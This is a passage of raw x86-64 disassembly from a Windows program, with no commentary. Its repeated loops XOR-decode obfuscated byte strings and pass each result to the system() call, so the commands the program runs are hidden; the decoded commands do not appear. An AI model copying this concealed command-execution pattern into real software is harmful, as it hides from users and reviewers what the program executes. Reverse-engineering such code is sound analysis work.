movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x140056740
cmp r8d, 0x63
jge 0x140056871
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x63
jl 0x140056840
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5bb0]
lea rcx, [rbp + 0x87]
mov byte [rbp + 0x87], al
call fcn.14006e4b0
mov r10, rax
cmp byte [rax + 0x57], 0
je 0x1400569da
mov r8d, esi
cmp r15d, 2
jl 0x1400569ad
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x58
jl 0x1400568c0
jmp 0x1400569da
mov r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x58
jl 0x1400569b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x63c0]
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x88], al
call fcn.14006e500
mov r10, rax
cmp byte [rax + 0x60], 0
je 0x140056b61
mov r8d, esi
cmp r15d, 2
jl 0x140056b23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x140056a30
cmp r8d, 0x61
jge 0x140056b61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x61
jl 0x140056b30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4805]
lea rcx, [rbp + 0x89]
mov byte [rbp + 0x89], al
call fcn.14006e550
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140056ce1
mov r8d, esi
cmp r15d, 2
jl 0x140056ca3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140056bb0
cmp r8d, 0x3b
jge 0x140056ce1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x140056cb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5960]
lea rcx, [rbp + 0x8a]
mov byte [rbp + 0x8a], al
call fcn.14006e5a0
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140056e61
mov r8d, esi
cmp r15d, 2
jl 0x140056e23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140056d30
cmp r8d, 0x54
jge 0x140056e61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x140056e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x59b4]
lea rcx, [rbp + 0x8b]
mov byte [rbp + 0x8b], al
call fcn.14006e5f0
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140056fe1
mov r8d, esi
cmp r15d, 2
jl 0x140056fa3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140056eb0
cmp r8d, 0x54
jge 0x140056fe1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x140056fb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5c08]
lea rcx, [rbp + 0x8c]
mov byte [rbp + 0x8c], al
call fcn.14006e640
mov r10, rax
cmp byte [rax + 0x58], 0
je 0x140057161
mov r8d, esi
cmp r15d, 2
jl 0x140057123
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x140057030
cmp r8d, 0x59
jge 0x140057161
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x59
jl 0x140057130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5b04]
lea rcx, [rbp + 0x8d]
mov byte [rbp + 0x8d], al
call fcn.14006e6a0
mov r10, rax
cmp byte [rax + 0x55], 0
je 0x1400572e1
mov r8d, esi
cmp r15d, 2
jl 0x1400572a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x1400571b0
cmp r8d, 0x56
jge 0x1400572e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x56
jl 0x1400572b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x52e1]
lea rcx, [rbp + 0x8e]
mov byte [rbp + 0x8e], al
call fcn.14006e6f0
mov r10, rax
cmp byte [rax + 0x46], 0
je 0x140057461
mov r8d, esi
cmp r15d, 2
jl 0x140057423
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140057330
cmp r8d, 0x47
jge 0x140057461
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x47
jl 0x140057430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5212]
lea rcx, [rbp + 0x8f]
mov byte [rbp + 0x8f], al
call fcn.14006e740
mov r10, rax
cmp byte [rax + 0x43], 0
je 0x1400575e1
mov r8d, esi
cmp r15d, 2
jl 0x1400575a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x1400574b0
cmp r8d, 0x44
jge 0x1400575e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x44
jl 0x1400575b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4e80]
lea rcx, [rbp + 0x90]
mov byte [rbp + 0x90], al
call fcn.14006e780
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x14005774a
mov r8d, esi
cmp r15d, 2
jl 0x14005771d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x140057630
jmp 0x14005774a
mov r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140057720
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x17f0]
lea rcx, [rbp + 0x91]
mov byte [rbp + 0x91], al
call fcn.14006e7b0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x1400579e1
mov r8d, esi
cmp r15d, 2
jl 0x1400579a5
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5e90]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ea0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, 0x14
movdqa xmm2, xmmword [0x1400c5eb0]
psubd xmm1, xmm0
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1400579b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1805]
lea rcx, [rbp + 0x92]
mov byte [rbp + 0x92], al
call fcn.14006e7e0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140057c81
mov r8d, esi
cmp r15d, 2
jl 0x140057c3c
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
